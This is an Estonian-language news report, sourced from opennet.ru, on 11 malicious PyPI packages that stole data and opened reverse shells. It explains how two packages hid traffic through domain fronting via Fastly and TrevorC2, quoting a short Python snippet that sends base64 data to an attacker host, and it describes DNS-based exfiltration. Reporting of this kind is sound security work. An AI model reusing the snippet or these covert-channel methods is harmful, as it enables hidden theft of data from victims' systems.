PyPI kataloogis on tuvastatud pahatahtlikud teegid, mis kasutavad CDN PyPI-d suhtlemiseks peidetud kanalite kaudu

PyPI (Python Package Index) kataloogis on tuvastatud 11 pahatahtlikku paketti. Enne probleemide avastamist oli pakette kokku allalaaditud umbes 38 tuhat korda. Tuvastatud pahatahtlikud paketid on tähelepanuväärsed oma keerukate meetodite tõttu, millega nad varjasid sidet kurjategijatelt pärinevate serveritega.

• importantpackage (6305 allalaadimist), important-package (12897) — loomise ühendus välise serveriga näiliselt pypi.python.org kaudu, et pakkuda süsteemile shell-i juurdepääsu (reverse shell) ja kasutasid side varjamiseks programmi trevorc2.
• pptest (10001), ipboards (946) — kasutasid DNS-i sidekanalina süsteemi teabe edastamiseks (esimeses paketis hosti nimi, töötav kataloog, sise- ja väline IP, teises — kasutajanimi ja host).
• owlmoon (3285), DiscordSafety (557), yiffparty (1859) — tuvastasid süsteemis Discordi teenuse märgendi ja edastasid selle välisele hostile.
• trrfab (287) — edastas välisele hostile identifikaatori, hosti nime ning sisu /etc/passwd, /etc/hosts, /home.
• 10Cent10 (490) — seadis üles pöördse shell-ühenduse välise hostiga.
• yandex-yt (4183) — edastas teate süsteemi kompromiteerimisest ja suunab lisainfoga lehele, mis on esitatud läbi nda.ya.ru (api.ya.cc).

Erilist tähelepanu väärib väliste hostide juurde pöördumise meetod, mida kasutasid paketid importantpackage ja important-package, mis kasutasid oma tegevuse varjamiseks sisu kohaletoimetamise võrku Fastly, mida rakendati PyPI kataloogis. Tegelikult saadeti päringud serverisse pypi.python.org (sealhulgas, näidates nime python.org SNI sees HTTPS päringus), kuid HTTP-päises "Host" määrati ründajate kontrolli all oleva serveri nimi (sec.forward.io.global.prod.fastly.net). Sisu kohaletoimetamise võrk suunas sellise päringu ründajate serverisse, kasutades andmete edastamiseks TLS-ühenduse parameetreid pypi.python.org.

PyPI infrastruktuuri töö tagab Fastly sisu kohaletoimetamise võrk, kus tavaliste päringute vahemällu salvestamiseks kasutatakse läbipaistvat Varnishi vaheproksit, samuti rakendatakse TLS-sertifikaatide töötlemist CDN-i tasandil, mitte lõpp-serverites, et suunata HTTPS-päringud läbi vaheproksi. Olenemata sihtperemehest suunatakse päringud vaheproksile, mis määrab vajaliku peremehe HTTP-pealkirja "Host" järgi. domeenid peremehed on seotud kliendile tavaliste Fastly CDN-i koormuse jagamise IP-aadressidega.

Ründavate serverite aadress registreeritakse ka Fastly CDN-is, mis pakub kõigile tasuta hindamisplaane ja isegi võimaldab anonüümset registreerimist. Huvi pakub, et rünnaku sihtmärgile päringute saatmiseks kasutatakse sarnast skeemi, kuid see algatatakse ründajate poolt peremehelt. Ründajate serveri poole interaktsioon näeb välja nagu legitiimne sessioon PyPI kataloogiga, krüpteeritud kasutades TLS-sertifikaat PyPI. Sarnane tehnika, mida tuntakse nimega "domain fronting", on varem aktiivselt kasutatud hostinime varjamiseks blokeeringutest möödumisel, kasutades mõnede CDN-võrkude pakutavat võimalust suhelda HTTPSi kaudu, näidates SNI-s vale hostit ja edastades päringute hostinime HTTP päises Host TLS-seansi jooksul.

Kahjustava tegevuse varjamiseks kasutati lisaks paketti TrevorC2, mis võimaldab serveriga suhtlemist sarnaneda tavapärase veebisirvimisega, näiteks kahjustavad päringud saadeti, esitades end pildi laadimisena "https://pypi.python.org/images/guid=" koos teabe kodeerimisega parameetris guid. url = "https://pypi.python.org" + "/images" + "?" + "guid=" + b64_payload r = request.Request(url, headers = { 'Host': "psec.forward.io.global.prod.fastly.net" })

Pptest ja ipboards pakettides kasutati võrguaktiivsuse varjamiseks teistsugust lähenemist, mis põhines kasuliku informatsiooni kodeerimisel DNS-serveri päringutesse. Kahjulik tarkvara edastab teavet, tehes DNS-päringuid nagu «nu4timjagq4fimbuhe.example.com», mille alamsüsteemi nimes on base64 formaadis kodeeritud edastatavad andmed juhtserverile. Kurjategija võtab vastu sõnumi andmed, jälgides DNS-serverit domeeni example.com jaoks.

Allikas: opennet.ru